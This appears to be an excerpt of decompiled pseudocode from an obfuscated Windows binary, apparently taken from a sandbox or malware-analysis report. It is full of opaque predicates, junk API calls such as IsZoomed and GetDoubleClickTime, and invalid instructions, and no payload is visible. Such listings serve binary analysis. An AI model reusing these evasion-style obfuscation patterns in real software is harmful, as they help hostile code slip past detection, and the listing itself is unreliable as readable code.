				 *0x8000007f =  *0x8000007f + spl;
				return (_t132 - r13d | r14d) + r13d;
				if (__eflags >= 0) goto 0xb1ca7880;
				__eax = __eax - r13d;
				__eax = __eax + r13d;
				r14d = 0x4f;
				goto 0xb1ca78e0;
				__eflags = 0x50 - 0x52;
				if (0x50 - 0x52 >= 0) goto 0xb1ca78e5;
				__rbx = 0x3d;
				asm("fidiv word [ebx+0x29]");
				__eax = GetCurrentProcessId();
				__ebx = __ebx + r13d;
				 *0xb1decf60 = 0x3d;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca78bd;
				__eax = __eax - r13d;
				__rax = __rax | 0xffffff80;
				__eax = __eax + r13d;
				__eflags = 0x25 - 9;
				if (0x25 != 9) goto 0xb1ca7894;
				__edi = __edi + r13d;
				 *0xb1decf60 = __rdi;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca78e0;
				__eax = __eax - r13d;
				__rax = __rax | 0xffffff80;
				__eax = __eax + r13d;
				__eflags = 0x25 - 0xd;
				if (0x25 - 0xd < 0) goto 0xb1ca7888;
				__rdx = 0xb1ca8590;
				 *0xb1decf68 = __r12;
				__rcx = 0x2;
				 *0x3B4114EB00000060 =  *((intOrPtr*)(0x3b4114eb00000060)) + dil;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				r12d = 0x8000007f;
				goto 0xb1ca7922;
				__eflags = 0x3d - 0x26;
				if (0x3d - 0x26 >= 0) goto 0xb1ca7935;
				__ebx = __ebx + r13d;
				 *0xb1decf60 = 0x3d;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__eax = __eax & r12d;
				if (__eflags >= 0) goto 0xb1ca7930;
				__eax = __eax - r13d;
				__rax = __rax | 0xffffff80;
				__eax = __eax + r13d;
				__eflags = 0x25 - 0x65;
				if (0x25 == 0x65) goto 0xb1ca790f;
				__rbx = 0x3f;
				 *0x93A63E800000025 =  *((intOrPtr*)(0x93a63e800000025)) + __al;
				asm("les edi, [ebp+0x9]");
				if (0x25 - 0x65 >= 0) goto 0xb1ca794d;
				__eax = __eax - r13d;
				__rax = __rax | 0xffffff80;
				__eax = __eax + r13d;
				__eflags = __eax;
				__rdi = 0x3;
				if (__eax >= 0) goto 0xb1ca7978;
				__ebx = __ebx + r13d;
				 *0xb1decf60 = 0x3f;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__eax = __eax & r12d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7974;
				__eax = __eax - r13d;
				__rax = __rax | 0xffffff80;
				__eax = __eax + r13d;
				__eflags = 0x25 - 0x3;
				if (0x25 != 0x3) goto 0xb1ca7954;
				__rbx = 0x52;
				 *0xDE3B20EAFFFFFF83 =  *((intOrPtr*)(0xde3b20eaffffff83)) + dil;
				__eax = __eax & r12d;
				if (0x25 - 0x3 >= 0) goto 0xb1ca7994;
				__eax = __eax - r13d;
				__rax = __rax | 0x00000003;
				__eax = __eax + r13d;
				__eflags = 0x25 - 0x44;
				r15d = r15d & 0xffffff00 | 0x00000025 == 0x00000044;
				 *0xb1decf60 = 0x2;
				 *0xb1decf60 = 0x52;
				__ebx = __ebx + r13d;
				__eflags = 0x52 - 0x5b;
				if (0x52 - 0x5b < 0) goto 0xb1ca797d;
				__rbx = 0x2d;
				 *((intOrPtr*)(0x93a63e800000025)) =  *((intOrPtr*)(0x93a63e800000025)) + __al;
				asm("les edi, [ebp+0x8]");
				if (0x52 - 0x5b >= 0) goto 0xb1ca79c8;
				__eax = __eax - r13d;
				__rax = __rax | 0x00000003;
				__eax = __eax + r13d;
				r12d = 0x37;
				goto 0xb1ca79f2;
				__eflags = __ebx - r12d;
				if (__ebx - r12d >= 0) goto 0xb1ca79f7;
				__ebx = __ebx + r13d;
				 *0xb1decf60 = 0x2d;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				__eflags = 0x25;
				if (0x25 >= 0) goto 0xb1ca79f2;
				__eax = __eax - r13d;
				__rax = __rax | 0x00000003;
				__eax = __eax + r13d;
				__eflags = 0x25 - 0x1d;
				if (0x25 == 0x1d) goto 0xb1ca79d0;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				 *0xb1decf60 = r13d;
				__ebx = r13d;
				r13d = 0x4b;
				__rsi = __rsi + 0x2d;
				__eflags = __esi - r13d;
				if (__esi - r13d < 0) goto 0xb1ca7a0c;
				 *0xb1decf60 = __rsi;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rsi = 0x8000007f;
				_push(0x8000007f);
				if (__eflags >= 0) goto 0xb1ca7a46;
				 *0xb1decf60 = __rbp;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca7a41;
				__rax = __rax - 0x2d;
				__rax = __rax | 0x00000003;
				__rax = __rax + 0x2d;
				__eflags = 0x25 - 0x76;
				if (0x25 - 0x76 >= 0) goto 0xb1ca7a25;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rbp = 0x2d;
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca7a57;
				__rax = __rax - 0x2d;
				__rax = __rax | 0x00000003;
				__rax = __rax + 0x2d;
				__eflags = 0x25 - 0x23;
				if (0x25 - 0x23 < 0) goto 0xb1ca7a7c;
				__rbx = 0x1a;
				__rsp = 0x2d;
				_pop(__rbp);
				asm("str word [ecx+0x1454f11d]");
				 *0x1a =  *0x1a + __al;
				 *0xb1decf60 = 0x2d;
				__eax = AnyPopup();
				__rcx = 0;
				__eax = IsZoomed(??);
				__rcx = 0;
				__eax = GetModuleHandleW(??);
				__rcx = 0;
				__eax = IsZoomed(??);
				__rcx = 0;
				 *0xb1decf60 = 0x24;
				__eax = GetModuleHandleW(??);
				__rbx = 0x20;
				asm("cmpsd");
				_push(0x2d);
				asm("adc al, 0x0");
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca7ac8;
				__rax = __rax - 0x2d;
				__rax = __rax | 0x00000003;
				__rax = __rax + 0x2d;
				__eflags = 0x25 - 0x33;
				if (0x25 - 0x33 > 0) goto 0xb1ca7ad2;
				__eflags = 0x20 - 0x26;
				if (0x20 - 0x26 < 0) goto 0xb1ca7ab1;
				__rbx = 0xc;
				 *0xc =  *0xc + spl;
				asm("invalid");
				asm("push es");
				__rax = __rax - 0x2d;
				__rax = __rax | 0x00000003;
				__rax = __rax + 0x2d;
				__eflags = 0x25 - 0x69;
				if (0x25 - 0x69 >= 0) goto 0xb1ca7b2b;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca7afa;
				__rax = __rax - 0x2d;
				__rax = __rax | 0x00000003;
				__rax = __rax + 0x2d;
				__eflags = 0x25 - 0x44;
				if (0x25 == 0x44) goto 0xb1ca7b1f;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca7b0e;
				__rax = __rax - 0x2d;
				__rax = __rax | 0x00000003;
				__rax = __rax + 0x2d;
				__ecx = r15d;
				__eflags = __rax - 0x44;
				__ecx = r15d & 0xffffff00 | __rax != 0x00000044;
				 *0xb1decf60 = 0;
				goto 0xb1ca7b25;
				 *0xb1decf60 = 0x2d;
				 *0xb1decf60 = 0x2d;
				__rbx = 0x126552d000000039;
				 *0xb1decf60 = 0xc;
				__eflags = 0xc - 0x11;
				if (0xc - 0x11 < 0) goto 0xb1ca7ad7;
				 *0xb1decf60 = 0x48;
				__rax = 0x14;
				asm("adc al, 0x0");
				__rax = 0x5d463f7100000041;
				__eflags = 0x14 - 0x1d;
				if (0x14 - 0x1d < 0) goto 0xb1ca7b47;
				AnyPopup() = E00007FF67FF6B1D3ACF4(0x5d463f7100000041);
				__rax = 0x5d02126100000041;
				if (__eflags >= 0) goto 0xb1ca7b69;
				0x53ced87900000014 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				asm("movsd xmm0, [0x116b57]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("comisd xmm0, xmm1");
				if (__eflags < 0) goto 0xb1ca7bb3;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7b8e;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x3b;
				if (0x14 - 0x3b > 0) goto 0xb1ca7bb3;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7ba2;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__ecx = r15d;
				__eflags = 0x14 - 0x3b;
				__ecx = r15d & 0xffffff00 | 0x00000014 - 0x0000003b <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca7bcc;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7bc2;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14;
				if (0x14 > 0) goto 0xb1ca7bcc;
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1DA4020();
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7be1;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				asm("movsd xmm6, [0x116f17]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (__eflags <= 0) goto 0xb1ca7d0d;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7c0a;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x20;
				if (0x14 - 0x20 > 0) goto 0xb1ca7cc2;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7c22;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x29;
				if (0x14 - 0x29 >= 0) goto 0xb1ca7c55;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7c36;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x1c;
				if (0x14 - 0x1c >= 0) goto 0xb1ca7c55;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7c4a;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x1c;
				r15d = r15d & 0xffffff00 | 0x00000014 - 0x0000001c < 0x00000000;
				goto 0xb1ca7ca8;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7c64;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x7b;
				if (0x14 - 0x7b > 0) goto 0xb1ca7c8a;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				__eflags = 0x14;
				if (0x14 >= 0) goto 0xb1ca7c78;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x116b88]");
				if (0x14 <= 0) goto 0xb1ca7cae;
				GetDoubleClickTime() = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7c9f;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x7b;
				r15d = r15d & 0xffffff00 | 0x00000014 - 0x0000007b > 0x00000000;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r14d;
				r14d = r14d + __ebp;
				__eflags = r14d - 0x5c;
				if (r14d - 0x5c < 0) goto 0xb1ca7c13;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				r14d = __esi;
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7cd4;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__ecx = r15d;
				__eflags = 0x14 - 0x20;
				__ecx = r15d & 0xffffff00 | 0x00000014 - 0x00000020 > 0x00000000;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7cf3;
				__rax = 0xe93332e300000044;
				asm("movd xmm0, eax");
				__eax = r15d;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				__eax = r15d & 0xffffff00 | __eflags > 0x00000000;
				 *0xb1decf60 = 0x14;
				goto 0xb1ca7d58;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				r14d = __esi;
				__rax = 0xe90312e300000044;
				__eflags = 0x14;
				if (0x14 >= 0) goto 0xb1ca7d1f;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x1d;
				if (0x14 - 0x1d <= 0) goto 0xb1ca7d58;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7d34;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x67;
				if (0x14 != 0x67) goto 0xb1ca7d58;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7d49;
				__rax = 0xe93332e300000044;
				__ecx = r15d;
				__eflags = 0xe93332e300000044 - 0x67;
				__ecx = r15d & 0xffffff00 | 0xe93332e300000044 == 0x00000067;
				 *0xb1decf60 = 0;
				__rax = 0x4d;
				if (0xe93332e300000044 - 0x67 < 0) goto 0xb1ca7d5d;
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4(0x4d) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7d7a;
				0xef508b1b00000020 = 0xff7babfb00000023;
				__rax = 0x8aee5e300000050;
				asm("movsd xmm6, [0x1169ae]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (__eflags > 0) goto 0xb1ca7dda;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7da0;
				__rax = 0x8aee5e300000050;
				__eflags = 0x4d - 0xb;
				if (0x4d - 0xb <= 0) goto 0xb1ca7dda;
				__rcx = 0;
				__eax = IsIconic(0xb1ca8590);
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7dbd;
				__rax = 0x8aee5e300000050;
				asm("movd xmm0, eax");
				__eax = r15d;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				__eax = r15d & 0xffffff00 | __eflags > 0x00000000;
				 *0xb1decf60 = 0x4d;
				goto 0xb1ca7ea9;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7dea;
				__rax = 0x8aee5e300000050;
				asm("movsd xmm6, [0x116af6]");
				__eflags = 0x4d - 0x76;
				if (0x4d != 0x76) goto 0xb1ca7e39;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000050);
				__eflags = __eax;
				if (__eflags >= 0) goto 0xb1ca7e07;
				__rax = 0x8aee5e300000050;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (__eflags >= 0) goto 0xb1ca7e39;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000050);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7e25;
				__rax = 0x8aee5e300000050;
				__eflags = 0x4d - 0x30;
				if (0x4d != 0x30) goto 0xb1ca7e30;
				__eax = GetTickCount();
				 *0xb1decf60 = r15d;
				goto 0xb1ca7e8a;
				 *0xb1decf60 = 0x53;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7e53;
				__rax = 0x8aee5e300000050;
				__ecx = r15d;
				__eflags = 0x4d - 0x79;
				__ecx = r15d & 0xffffff00 | 0x0000004d != 0x00000079;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7e72;
				__rax = 0x8aee5e300000050;
				asm("movd xmm0, eax");
				__eax = r15d;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				__eax = r15d & 0xffffff00 | __eflags >= 0x00000000;
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000050) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7e9a;
				__rax = 0x8aee5e300000050;
				__ecx = r15d;
				__eflags = 0x8aee5e300000050 - 0xb;
				__ecx = r15d & 0xffffff00 | 0x8aee5e300000050 - 0x0000000b <= 0x00000000;
				 *0xb1decf60 = 0;
				__rax = 0x15;
				asm("adc al, 0x0");
				__rax = 0x59df3f7100000042;
				__eflags = 0x15 - 0x18;
				if (0x15 - 0x18 < 0) goto 0xb1ca7eae;
				E00007FF67FF6B1D3ACF4(0x59df3f7100000042) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7ecb;
				0x50ac058900000015 = 0xdebf25eb00000017;
				__rax = 0xe7f25fd300000044;
				__eflags = 0x15 - 0x4e;
				if (0x15 - 0x4e < 0) goto 0xb1ca7f1b;
				E00007FF67FF6B1D3ACF4(0xe7f25fd300000044) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7ee0;
				__rax = 0xe7f25fd300000044;
				__eflags = 0xe7f25fd300000044 - 0x65;
				if (0xe7f25fd300000044 - 0x65 > 0) goto 0xb1ca7f1b;
				__rax = 0x68;
				if (0xe7f25fd300000044 == 0x65) goto 0xb1ca7f62;
				asm("stc");
				 *0xb1decf60 = 0x68;
				E00007FF67FF6B1D3ACF4(0x68) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7f07;
				0xef508b1b0000003b = 0xff7babfb0000003b;
				__rax = 0x8aee5e300000068;
				__ecx = r15d;
				__eflags = 0x68 - 0x65;
				__ecx = r15d & 0xffffff00 | 0x00000068 - 0x00000065 <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca80e7;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7f2b;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x24;
				if (0x68 - 0x24 < 0) goto 0xb1ca80e7;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7f44;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x15;
				if (0x68 - 0x15 < 0) goto 0xb1ca7f84;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7f59;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x5e;
				if (0x68 == 0x5e) goto 0xb1ca7f84;
				__rcx = 0;
				__eax = GetWindowTextLengthW(??);
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7f76;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x15;
				r15d = r15d & 0xffffff00 | 0x00000068 - 0x00000015 >= 0x00000000;
				goto 0xb1ca80da;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7f94;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x63;
				if (0x68 - 0x63 < 0) goto 0xb1ca7fb2;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7fa9;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x13;
				if (0x68 - 0x13 <= 0) goto 0xb1ca80c1;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7fc2;
				__rax = 0x8aee5e300000068;
				asm("movsd xmm6, [0x1169fe]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (__eflags < 0) goto 0xb1ca80ba;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7fec;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x1e;
				if (0x68 - 0x1e < 0) goto 0xb1ca80ba;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca8005;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x78;
				if (0x68 - 0x78 <= 0) goto 0xb1ca8031;
				__eax = GetCurrentProcess();
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca8020;
				__rax = 0x8aee5e300000068;
				__ecx = r15d;
				__eflags = 0x68 - 0x78;
				__ecx = r15d & 0xffffff00 | 0x00000068 - 0x00000078 <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca8090;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eflags = __eax;
				if (__eflags >= 0) goto 0xb1ca8046;
				__rax = 0x8aee5e300000068;
				asm("movsd xmm0, [0x116742]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (__eflags != 0) goto 0xb1ca805e;
				if (__eflags == 0) goto 0xb1ca8064;
				__eax = GetDoubleClickTime();
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca807a;
				__rax = 0x8aee5e300000068;
				__ecx = r15d;
				__eflags = 0x68 - 0x3f;
				__ecx = r15d & 0xffffff00 | 0x00000068 - 0x0000003f > 0x00000000;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca80a0;
				__rax = 0x8aee5e300000068;
				asm("movd xmm0, eax");
				__eax = r15d;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				__eax = r15d & 0xffffff00 | __eflags >= 0x00000000;
				 *0xb1decf60 = 0x68;
				goto 0xb1ca80c1;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca80d1;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x13;
				r15d = r15d & 0xffffff00 | 0x00000068 - 0x00000013 <= 0x00000000;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca80f7;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x3f;
				if (0x68 - 0x3f >= 0) goto 0xb1ca811d;
				E00007FF67FF6B1D3ACF4(0x8aee5e300000068) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca810c;
				__rax = 0x8aee5e300000068;
				__ecx = r15d;
				__eflags = 0x68 - 0x3f;
				__ecx = r15d & 0xffffff00 | 0x00000068 - 0x0000003f < 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca8168;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca812d;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x18;
				if (0x68 - 0x18 >= 0) goto 0xb1ca8168;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca8142;
				__rax = 0x8aee5e300000068;
				__eflags = 0x68 - 0x7e;
				if (0x68 != 0x7e) goto 0xb1ca8168;
				__eax = E00007FF67FF6B1D3ACF4(0x8aee5e300000068);
				__eax = __eax & r14d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca8157;
				__rax = 0x8aee5e300000068;
				r8d = r15d;
				__eflags = 0x8aee5e300000068 - 0x18;
				r8b = 0x8aee5e300000068 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d =  *0x93339E80000004D;
				r8d = _a144;
				__rdx =  *0x93339E8000000C5;
				__rcx =  *0x93339E8000000BD;
				__eax = E00007FF67FF6B1CB41F0(__eax, __edx, 0x126552d000000039,  *0x93339E8000000BD, 0x8000007f); // executed
				__rdx = 0;
				__rdi = __rax;
				_t63 = __rdx + 2; // 0x2
				__rcx = _t63;
				__eax = E00007FF67FF6B1D3B360(__ecx, __rbx, 0, __rdi, __r14);
				__rdx =  *((intOrPtr*)(0x93339e80000004d));
				__rcx =  *((intOrPtr*)(0x93339e8000000bd));
				__eax = E00007FF67FF6B1CB4910(__eax, __edx,  *((intOrPtr*)(0x93339e8000000bd)));
				 *0xb1decf60 = 0x2d;
				__rsi = 0xffffff80;
				asm("push es");
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				asm("movsd xmm6, [0x11694a]");
				__eflags = __rax - 5;
				if (__rax != 5) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca81e3;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (__eflags < 0) goto 0xb1ca8240;
				__rbx = 0x60;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca820e;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__eflags = __rax - 0x79;
				if (__rax - 0x79 >= 0) goto 0xb1ca8218;
				__eflags = 0x60 - 0x67;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8228;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				asm("movd xmm0, eax");
				__eax = r15d;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				__eax = r15d & 0xffffff00 | __eflags >= 0x00000000;
				 *0xb1decf60 = __rax;
				__rcx = 0;
				 *0xb1decf60 = 0x2d;
				__eax = GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				__eflags = r12d - 0x42;
				if (r12d - 0x42 < 0) goto 0xb1ca824e;
				__eax = GetMessageTime();
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8274;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__eflags = __rax - 0x2e;
				if (__rax - 0x2e > 0) goto 0xb1ca82a0;
				__eax = GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca828f;
				__rax = __rax - 0x2d;
				__rax = __rax | 0xffffff80;
				__rax = __rax + 0x2d;
				__ecx = r15d;
				__eflags = __rax - 0x2e;
				__ecx = r15d & 0xffffff00 | __rax - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rbx = 0x6b;
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + __cl;
